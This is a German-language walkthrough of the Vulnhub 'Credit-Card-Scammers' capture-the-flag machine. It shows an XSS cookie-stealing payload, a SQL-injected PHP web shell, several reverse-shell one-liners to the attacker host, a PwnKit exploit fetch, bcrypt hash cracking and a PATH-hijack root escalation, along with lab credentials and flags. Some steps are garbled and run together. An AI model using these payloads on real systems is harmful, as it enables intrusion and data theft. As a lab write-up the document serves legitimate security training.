Credit-Card-Scammers - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
python3
curl
nc
vi
mysql
john
su
cat
chmod
ls
echo
wget

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren. Wir beginnen mit dem ARP-Scan, um die IP-Adresse des Ziels zu finden.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.150 08:00:27:67:f8:7f PCS Systemtechnik GmbH

`arp-scan -l` findet den Host mit der IP-Adresse 192.168.2.150 und der MAC-Adresse 08:00:27:67:f8:7f. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH. Diese Information hilft uns, das Gerät im Netzwerk zu identifizieren und mögliche Betriebssysteme einzugrenzen.

Als nächstes führen wir einen umfassenden Nmap-Scan durch, um offene Ports, laufende Dienste und Betriebssysteminformationen zu ermitteln.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 22:40 CET
Nmap scan report for creditcard.vln (192.168.2.150)
Host is up (0.00015s latency).
Not shown: 65505 filtered tcp ports (no-response), 26 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh penSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:0a:3a:42:5f:92:47:69:33:59:b3:77:53:3c:be:73 (RSA)
| 256 ab:3d:26:3b:d9:02:50:a4:49:c0:bf:13:75:dc:a5:73 (ECDSA)
|_ 256 fb:6a:7e:1b:05:f9:d1:ef:be:dd:ff:39:ed:f5:f5:63 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
|_http-title: Your PPE Supplier
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
443/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
9090/tcp closed zeus-admin
MAC Address: 08:00:27:67:F8:7F (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 5.1 (98%), Linux 3.10 - 4.11 (96%), Linux 3.2 - 4.9 (94%), Linux 3.16 - 4.6 (94%), Linux 5.0 - 5.4 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (93%), Linux 4.10 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 (91%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACERUTE
HOP RTT ADDRESS
1 0.15 ms creditcard.vln (192.168.2.150)

Der Nmap-Scan liefert wichtige Informationen: * **Offene Ports:** 22 (SSH), 80 (HTTP), 443 (HTTPS) * **Dienste:** SSH (OpenSSH 8.0), HTTP (Apache 2.4.37), HTTPS (Mongoose httpd) * **Betriebssystem:** Linux (vermutlich CentOS) * **Hostname:** creditcard.vln

Analyse der Ergebnisse: Der SSH-Dienst könnte für Brute-Force-Angriffe oder die Ausnutzung von Schwachstellen in OpenSSH verwendet werden. Der Apache-Webserver auf Port 80 und der Mongoose-Webserver auf Port 443 sind potenzielle Angriffsziele. Da der Nmap-Scan ein CentOS-System vermutet, können wir nach CentOS-spezifischen Exploits suchen.

Als Nächstes verwenden wir Nikto, um den Webserver auf Port 80 auf bekannte Schwachstellen zu überprüfen.

┌──(root㉿CCat)-[~]
└─# nikto -h 192.168.2.150
- Nikto v2.5.0

+ Target IP: 192.168.2.150
+ Target Hostname: 192.168.2.150
+ Target Port: 80
+ Start Time: 2024-11-01 22:44:26 (GMT1)

+ Server: Apache/2.4.37 (centos)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /4Ve8Fzt.php: Retrieved x-powered-by header: PHP/7.2.11.
+ Apache/2.4.37 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /package.json: Node.js package file found. It may contain sensitive information.
+ /README.md: Readme Found.
+ 8908 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-11-01 22:45:17 (GMT1) (51 seconds)

+ 1 host(s) tested

Nikto findet mehrere potenzielle Schwachstellen: * **Fehlende Header:** X-Frame-Options und X-Content-Type-Options * **PHP-Version:** PHP/7.2.11 wird verwendet * **Veraltete Apache-Version:** Apache 2.4.37 * **HTTP TRACE aktiviert:** Anfälligkeit für Cross-Site Tracing (XST) * **Directory Indexing:** In /css/, /img/ und /icons/ aktiviert * **Sensitive Dateien:** /package.json und /README.md gefunden

Analyse der Ergebnisse: Die fehlenden Header sind ein häufiges Problem und können leicht behoben werden. Die Aktivierung von HTTP TRACE ist ein größeres Problem, da es Angreifern ermöglichen kann, Cookies zu stehlen. Directory Indexing ermöglicht es Angreifern, den Inhalt von Verzeichnissen aufzulisten, was ebenfalls ein Sicherheitsrisiko darstellt. Die Dateien `/package.json` und `/README.md` könnten sensible Informationen wie Softwareversionen oder Konfigurationsdetails enthalten.

Wir verwenden Gobuster, um weitere Verzeichnisse und Dateien auf dem Webserver zu entdecken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.150/index.html (Status: 200) [Size: 5822]
http://192.168.2.150/img (Status: 301) [Size: 233] [--> http://192.168.2.150/img/]
http://192.168.2.150/css (Status: 301) [Size: 233] [--> http://192.168.2.150/css/]
http://192.168.2.150/vendor (Status: 301) [Size: 236] [--> http://192.168.2.150/vendor/]
http://192.168.2.150/settings (Status: 301) [Size: 238] [--> http://192.168.2.150/settings/]
http://192.168.2.150/class (Status: 301) [Size: 235] [--> http://192.168.2.150/class/]
http://192.168.2.150/buynow.php (Status: 200) [Size: 7164]
http://192.168.2.150/package.json (Status: 200) [Size: 1149]
http://192.168.2.150/LICENSE (Status: 200) [Size: 1093]

Gobuster findet die folgenden Ressourcen: * `index.html` * `img`, `css`, `vendor`, `settings`, `class` (Verzeichnisse) * `buynow.php` * `package.json` * `LICENSE`

Analyse der Ergebnisse: Die gefundenen Verzeichnisse und Dateien geben uns einen Einblick in die Struktur der Webanwendung. `buynow.php` deutet auf eine E-Commerce-Funktionalität hin, was bedeutet, dass es möglicherweise Formulare gibt, die Kreditkarteninformationen verarbeiten. `/settings` könnte Konfigurationsdateien enthalten.

Initial Access

In dieser Phase versuchen wir, uns Zugriff auf das System zu verschaffen, indem wir die identifizierten Schwachstellen ausnutzen.

Wir versuchen, eine Cross-Site Scripting (XSS)-Schwachstelle auszunutzen, um Cookies zu stehlen.

script--> new Image().src="http://192.168.2.199/avatar.jpg?dimensions="+document.cookie+"&color="+document.location;<-- script

Dieser Code ist ein einfacher XSS-Payload, der die Cookies und die aktuelle URL an einen Server unter 192.168.2.199 sendet. Der Code erstellt ein neues Bild und setzt die Quelle des Bildes auf eine URL, die die Cookie-Daten und die aktuelle URL enthält. Wenn dieser Code in einer anfälligen Anwendung ausgeführt wird, sendet er die sensiblen Daten an unseren Server.

┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.150 - - [01/Nov/2024 23:18:36] code 404, message File not found
192.168.2.150 - - [01/Nov/2024 23:18:36] "GET /avatar.jpg?dimensions=PHPSESSID=hvi32n927m1292mnj9ajbt6v27&color=http://localhost/_admin/dist/index.php HTTP/1.1" 404 -
192.168.2.150 - - [01/Nov/2024 23:18:37] code 404, message File not found
192.168.2.150 - - [01/Nov/2024 23:18:37] "GET /PHPSESSID=hvi32n927m1292mnj9ajbt6v27 HTTP/1.1" 404 -

Wir starten einen einfachen HTTP-Server mit Python, um die gestohlenen Cookies zu empfangen. Der Server protokolliert die eingehenden Anfragen, einschließlich der Cookie-Daten.

192.168.2.150/_admin/dist/index.php

Bei der weiteren Untersuchung finden wir ein Admin-Panel.

http://creditcard.vln/_admin/dist/

Der Zugriff auf `http://creditcard.vln/_admin/dist/` leitet uns zu einer Login-Seite weiter.

Indem wir im Cookie-Editor `PHPSESSID=hvi32n927m1292mnj9ajbt6v27` hinzufügen, wird unsere XSS-Attacke mit "Hello World" ausgelöst. Dies bestätigt, dass eine XSS-Schwachstelle vorhanden ist.

Bestätigung einer XSS Schwachstelle: Die erfolgreiche Ausführung von JavaScript-Code durch die XSS-Schwachstelle beweist, dass Angreifer beliebigen Code im Kontext des Benutzers ausführen können. Dies kann für verschiedene Angriffe genutzt werden, z. B. zum Stehlen von Cookies, zum Umleiten von Benutzern auf bösartige Websites oder zum Ausführen von Aktionen im Namen des Benutzers.

Um das System weiter zu kompromittieren, nutzen wir eine SQL-Injection, um eine Hintertür zu erstellen.

SELECT "-->php system($_GET['cmd']); " INT UTFILE "/var/www/html/ben.php"

Dieser SQL-Befehl injiziert PHP-Code in die Datei `/var/www/html/ben.php`. Der injizierte Code ermöglicht die Ausführung beliebiger Systembefehle über den GET-Parameter `cmd`.

http://192.168.2.150/ben.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)

Wir testen die Command Injection, indem wir den `id`-Befehl ausführen. Wir erhalten die Ausgabe `uid=48(apache) gid=48(apache) groups=48(apache)`, was bestätigt, dass die Command Injection funktioniert.

Wichtiger Erfolg! Die Command Injection ermöglicht es uns, beliebige Befehle auf dem System auszuführen, was ein großes Sicherheitsrisiko darstellt.

Proof of Concept: Command Injection to Reverse Shell

Nachdem wir die Command Injection erfolgreich getestet haben, nutzen wir diese, um eine Reverse Shell zu erhalten.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Wir starten einen Netcat-Listener auf Port 9001, um die Reverse Shell zu empfangen.

192.168.2.150/ben.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27

Wir senden einen HTTP-Request an `ben.php` mit einem Command-Injection-Payload, der eine Reverse Shell zu unserem Netcat-Listener initiiert.

http://192.168.2.150/ben.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)

Nachdem wir uns erfolgreich mit dem Tomcat-Server verbunden haben, verwenden wir noch einmal Curl, um die ID des aktiven Benutzers zu identifizieren.

http://192.168.2.150/ben.php?cmd=ls+/home
admin
moneygrabber

Nach der Identifizierung der Benutzer möchten wir als nächstes prüfen, wo sich unsere Anmeldeinformationen in einem dieser Ordner befinden könnten.

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien auf Root zu erhöhen.

Wir verwenden das Programm Curl, um die Informationen für die Benutzer, Admin und Moneygrabber, in den Verzeichnissen aufzulisten.

http://192.168.2.150/ben.php?cmd=ls+/home/admin
http://192.168.2.150/ben.php?cmd=ls+/home/moneygrabber

Wir verwenden das Programm Curl, um die Informationen für die Benutzer, Admin und Moneygrabber, in den Verzeichnissen aufzulisten.

http://192.168.2.150/ben.php?cmd=ls+la+/home/moneygrabber/.ssh

Wir verwenden das Programm Curl, um die Informationen für die Benutzer, Admin und Moneygrabber, in den Verzeichnissen aufzulisten.

http://192.168.2.150/ben.php?cmd=ls+la+/home/admin/.ssh

Wir verwenden das Programm Curl, um die Informationen für die Ordner im Ordner "var/www/html" aufzulisten.

http://192.168.2.150/ben.php?cmd=ls+la+/var/www/html
/var/www/html:
LICENSE
README.md
_admin
ben.php
buynow.php
class
css
gulpfile.js
img
index.html
package-lock.json
package.json
settings
shell2.php
vendor

Wir versuchen mit der PHP Filter Methode in den code einzusteigen.

http://192.168.2.150/ben.php?cmd=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|..../resource=php://temp&cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)

Da der Filter funktioniert versuchten wir eine Reverse Shell zu erstellen

http://192.168.2.150/ben.php?cmd=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|..../resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
192.168.2.150/ben.php?cmd=wget http://192.168.2.199/shell2.php

Nun laden wir ein WebShell von unserem Server mit dem cmd=wget Befehl auf das system um eine einfachere verbindung zur Web-Applikation zu erhalten.

┌──(root㉿CCat)-[~/Hackingtools/shells]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.150 - - [01/Nov/2024 23:40:52] "GET /PHPSESSID=hvi32n927m1292mnj9ajbt6v27 HTTP/1.1" 404 -
192.168.2.150 - - [01/Nov/2024 23:41:05] "GET /shell2.php HTTP/1.1" 200 -
view-source:http://192.168.2.150/ben.php?cmd=ls%20-la
total 240
drwxrwxrwx. 8 apache apache 250 Nov 1 22:41 .
drwxr-xr-x. 4 root root 50 May 10 2020 ..
-rw-r--r--. 1 apache apache 1093 May 10 2020 LICENSE
-rw-r--r--. 1 apache apache 3980 May 10 2020 README.md
drwxr-xr-x. 5 apache apache 119 May 10 2020 _admin
-rw-rw-rw- 1 mysql mysql 31 Nov 1 22:30 ben.php
-rw-r--r-- 1 apache apache 8102 May 11 2020 buynow.php
drwxr-xr-x. 3 apache apache 73 May 10 2020 class
drwxr-xr-x. 2 apache apache 33 May 10 2020 css
-rw-r--r--. 1 apache apache 1359 May 10 2020 gulpfile.js
drwxr-xr-x. 2 apache apache 82 May 10 2020 img
-rw-r--r-- 1 apache apache 5822 May 11 2020 index.html
-rw-r--r--. 1 apache apache 198671 May 10 2020 package-lock.json
-rw-r--r--. 1 apache apache 1149 May 10 2020 package.json
drwxr-xr-x. 2 apache apache 24 May 10 2020 settings
-rw-r--r-- 1 apache apache 5495 Jun 3 23:08 shell2.php
drwxr-xr-x. 4 apache apache 37 May 10 2020 vendor
┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.150/shell2.php

Nun versuchen wir von aussen auf die shell2.php zuzugreiffen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Nun versuchen wir über NC eine verbindung zu erstellen.

┌──(root㉿CCat)-[~]
└─# vi index.html
┌──(root㉿CCat)-[~]
└─# cat index.html
#!/bin/bash

/bin/bash -c "bash -i >& /dev/tcp/192.168.2.199/443 0>&1"
┌──(root㉿CCat)-[~]
└─# nc -lvnp 443

Nun erstellen wir mit VI einen neuen index.html zum testen.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
http://192.168.2.150/ben.php?cmd=curl%20192.168.2.199

wir laden von unserem Rechner einen Ordner über curl

Da die Standard Reverse Shell nicht funktioniert suchen wir weiter und versuchen den befehl mit nc zu senden.

http://192.168.2.150/ben.php?cmd=whereis%20nc
nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz
192.168.2.150/ben.php?cmd=/usr/bin/nc -e /bin/sh 192.168.2.199 443
┌──(root㉿CCat)-[~]
└─# nc -lvnp 443
listening on [any] 443 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.150] 59192

Endlich wir haben eine Reverse Shell !!!

find / -type f -perm -4000 -ls 2>/dev/null
13069798 40 -rwsr-xr-x 1 root root 38680 May 11 2019 /usr/bin/fusermount
13107984 64 -rwsr-xr-x 1 root root 62104 Nov 8 2019 /usr/bin/su
13078451 132 -rwsr-xr-x 1 root root 133928 Nov 8 2019 /usr/bin/chage
13078452 156 -rwsr-xr-x 1 root root 156736 Nov 8 2019 /usr/bin/gpasswd
13078455 88 -rwsr-xr-x 1 root root 88488 Nov 8 2019 /usr/bin/newgrp
13107969 64 -rwsr-xr-x 1 root root 61856 Nov 8 2019 /usr/bin/mount
13107987 40 -rwsr-xr-x 1 root root 40728 Nov 8 2019 /usr/bin/umount
13211992 32 -rwsr-xr-x 1 root root 31488 Nov 11 2019 /usr/bin/pkexec
13290531 68 -rwsr-xr-x 1 root root 65904 Nov 8 2019 /usr/bin/crontab
13568311 48 -rws--x--x 1 root root 48896 Nov 8 2019 /usr/bin/chfn
13568312 40 -rws--x--x 1 root root 37816 Nov 8 2019 /usr/bin/chsh
13552240 204 s--x--x--- 1 root root 207056 Mar 20 2020 /usr/bin/sudo
13571732 64 -rwsr-xr-x 1 root root 61688 May 11 2019 /usr/bin/at
13568262 36 -rwsr-xr-x 1 root root 34928 May 11 2019 /usr/bin/passwd
14927142 20 -rwsr-xr-x 1 root root 16672 May 9 2020 /usr/bin/backup
610149 16 -rwsr-xr-x 1 root root 12712 Feb 5 2020 /usr/sbin/grub2-set-bootflag
638946 16 -rwsr-xr-x 1 root root 13376 May 11 2019 /usr/sbin/pam_timestamp_check
638948 40 -rwsr-xr-x 1 root root 40080 May 11 2019 /usr/sbin/unix_chkpwd
1048302 180 -rwsr-xr-x 1 root root 182088 Nov 8 2019 /usr/sbin/mount.nfs
4641067 24 -rwsr-xr-x 1 root root 21424 Nov 11 2019 /usr/lib/polkit-1/polkit-agent-helper-1
638656 72 -rwsr-x--- 1 root dbus 70064 Nov 8 2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper
13308519 24 -rwsr-xr-x 1 root root 21880 May 14 2019 /usr/libexec/gstreamer-1.0/gst-ptp-helper
13494518 216 -rwsr-x--- 1 root sssd 217400 Apr 13 2020 /usr/libexec/sssd/krb5_child
13494519 120 -rwsr-x--- 1 root sssd 119576 Apr 13 2020 /usr/libexec/sssd/ldap_child
13518058 72 -rwsr-x--- 1 root sssd 72768 Apr 13 2020 /usr/libexec/sssd/selinux_child
13518059 36 -rwsr-x--- 1 root sssd 34800 Apr 13 2020 /usr/libexec/sssd/proxy_child
4348466 24 -rwsr-xr-x 1 root root 22200 Apr 10 2020 /usr/libexec/qemu-bridge-helper
4895657 48 -rwsr-x--- 1 root cockpit-ws 48720 Nov 8 2019 /usr/libexec/cockpit-session

Als nächstes suchen wir nach SUID-Binärdateien mit dem Befehl find.

bash-4.4$ pwd
/tmp
/PwnKit.sh)" -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/
bash-4.4$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.4$ wget 192.168.2.199/polkit.py
--2024-11-01 23:14:25-- http://192.168.2.199/polkit.py
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2435 (2.4K) [text/x-python]
Saving to: 'polkit.py'

polkit.py 100%[=====================================>] 2.38K --.-KB/s in 0s

2024-11-01 23:14:25 (664 MB/s) - 'polkit.py' saved [2435/2435]

PwnKit - wir sind sehr nah dran :)

bash-4.4$ cd /var/www/html/
bash-4.4$ ls -la
total 240
drwxrwxrwx. 8 apache apache 250 Nov 1 22:41 .
drwxr-xr-x. 4 root root 50 May 10 2020 ..
-rw-r--r--. 1 apache apache 1093 May 10 2020 LICENSE
-rw-r--r--. 1 apache apache 3980 May 10 2020 README.md
drwxr-xr-x. 5 apache apache 119 May 10 2020 _admin
-rw-rw-rw- 1 mysql mysql 31 Nov 1 22:30 ben.php
-rw-r--r-- 1 apache apache 8102 May 11 2020 buynow.php
drwxr-xr-x. 3 apache apache 73 May 10 2020 class
drwxr-xr-x. 2 apache apache 33 May 10 2020 css
-rw-r--r--. 1 apache apache 1359 May 10 2020 gulpfile.js
drwxr-xr-x. 2 apache apache 82 May 10 2020 img
-rw-r--r-- 1 apache apache 5822 May 11 2020 index.html
-rw-r--r--. 1 apache apache 198671 May 10 2020 package-lock.json
-rw-r--r--. 1 apache apache 1149 May 10 2020 package.json
drwxr-xr-x. 2 apache apache 24 May 10 2020 settings
-rw-r--r-- 1 apache apache 5495 Jun 3 23:08 shell2.php
drwxr-xr-x. 4 apache apache 37 May 10 2020 vendor

Wir untersuchen die Daten auf der Website.

bash-4.4$ cat buynow.php
...
....
Victim has fallen foul of our scam. Let us take this information
and submit it to the database.

require_once('settings/config.php');
require_once('class/database.php');
require_once('class/order.php');

$currentdb = new database($databaseName, $databaseServer, $databaseUsername,
$databasePassword);
....
...

Wir versuchen in den Konfigurationsdatenbanken zu schauen um die passwörter raus zu finden.

bash-4.4$ cat settings/config.php
$databaseUsername = 'orders';
$databasePassword = 'b2UA15ubBtzpZrvdMYT';
$databaseServer = 'localhost';
$databaseName = 'orders';

Mit den gewonnen Daten versuchen wir uns als admin anzumelden.

Wir schauen nach ob es andere User gibt

bash-4.4$ su admin
Password:
su: Authentication failure
bash-4.4$ ls /home/
admin moneygrabber

Danach versuchen wir ein Zugriff über MYSQL

bash-4.4$ mysql -u orders -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 269
Server version: 10.3.17-MariaDB MariaDB Server

Copyright (c) 2000, 2018, racle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. schauen wir mit den informationen nun in der Datenbank nach. MariaDB [(none)]> show databases;
++
| Database |
++
| information_schema |
| orders |
++
2 rows in set (0.001 sec) MariaDB [(none)]> use orders; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [orders]> show tables;
++
| Tables_in_orders |
++
| orders |
| users |
++
2 rows in set (0.000 sec) select alle daten aus dem user table ausgeben.
MariaDB [orders]> select * from users;
++-------------------------------------------------------------------|
| userID | userName | password |
++-------------------------------------------------------------------|
| 1 | admin | $2y$12$A4jqwtWB73.TAMIeplx0T.5oG/mnHR1qTDa8cmtTIvW3ZTjdSjdjC |
| 2 | m0n3y6r4bb3r | $2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogAYXowC |
++-------------------------------------------------------------------
2 rows in set (0.000 sec) erstellen wir einen hash zum knacken.
MariaDB [orders]> exit;
Bye

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 192.168.2.199 5555 >/tmp/f admin:$2y$12$A4jqwtWB73.TAMIeplx0T.5oG/mnHR1qTDa8cmtTIvW3ZTjdSjdjC
m0n3y6r4bb3r:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogAYXowC versuchen wir das passwort zu identifizieren mit JohnTheRipper john --wordlist=/usr/share/wordlists/rockyou.txt hash -format=bcrypt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt ) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status delta1 (?) 1g 0:00:04:12 0.16% (ETA: 2024-11-03 21:32) 0.003957g/s 105.4p/s 182.3c/s 182.3C/s burton1..061590 Use the "--show" option to display all of the cracked passwords reliably Session aborted bash-4.4$ su moneygrabber
Password:
[moneygrabber@ppeshop html]$

Da die dechiffrierung sehr lange gedauert hat gaben wir ab und versuchten es so zu versuchen über den moneygrabber zu bekommen.

[moneygrabber@ppeshop html]$ cd ~
[moneygrabber@ppeshop ~]$ ls -la
total 24
drwx. 2 moneygrabber moneygrabber 133 May 10 2020 .
drwxr-xr-x. 4 root root 39 May 10 2020 ..
-rwxr-xr-x. 1 root root 54 May 9 2020 backup.sh
lrwxrwxrwx. 1 moneygrabber moneygrabber 9 May 9 2020 .bash_history -> /dev/null
-rw-r--r--. 1 moneygrabber moneygrabber 18 Nov 8 2019 .bash_logout
-rw-r--r--. 1 moneygrabber moneygrabber 141 Nov 8 2019 .bash_profile
-rw-r--r--. 1 moneygrabber moneygrabber 312 Nov 8 2019 .bashrc
-rwx------. 1 moneygrabber moneygrabber 21 May 10 2020 flag2.txt
-rw-------. 1 moneygrabber moneygrabber 2033 May 10 2020 .viminfo wir untersuchen den moneygrabber Privilege Escalation [moneygrabber@ppeshop ~]$ cat flag2.txt
9N8U10EAVU10cbSZPCRv und wir finden den flag was sehr gut ist Wir schauen uns das backup file an. [moneygrabber@ppeshop ~]$ cat backup.sh
#!/bin/bash
tar -cf mysql.tar /var/lib/mysql
sleep 30
Hier sehen wir den inhalt der Backup datei was zum ausführen benutzt wird um die Daten zu sichern. Mit dieser Information können wir versuchen den PATH um zuleiten und andere befehle aus zu führen. [moneygrabber@ppeshop ~]$ cd /tmp/
[moneygrabber@ppeshop tmp]$ export PATH=/tmp
[moneygrabber@ppeshop tmp]$ /usr/bin/echo "/bin/bash" > tar
[moneygrabber@ppeshop tmp]$ /usr/bin/chmod +x tar
[moneygrabber@ppeshop tmp]$ /usr/bin/backup
/usr/libexec/grepconf.sh: line 5: grep: command not found
/usr/libexec/grepconf.sh: line 5: grep: command not found
/usr/libexec/grepconf.sh: line 5: grep: command not found
bash: sed: command not found
[root@ppeshop tmp]# Wir haben den Pfad exportiert, und haben eine eigene tar file erstellt. Nun bekommen wir auch den Root !!! [root@ppeshop root]# /usr/bin/ls
anaconda-ks.cfg flag3.txt ghostdriver.log Wir schauen im Root folder nach [root@ppeshop root]# /usr/bin/cat /root/flag3.txt
y2zmGeGjrA4dbDj4wBWr Privilege Escalation erfolgreich Hier ist alles was wir gefunden haben Flags user.txt 9N8U10EAVU10cbSZPCRv
schauen wir mit den informationen nun in der Datenbank nach. cat root.txt y2zmGeGjrA4dbDj4wBWr

Flags

cat user.txt 9N8U10EAVU10cbSZPCRv
cat root.txt y2zmGeGjrA4dbDj4wBWr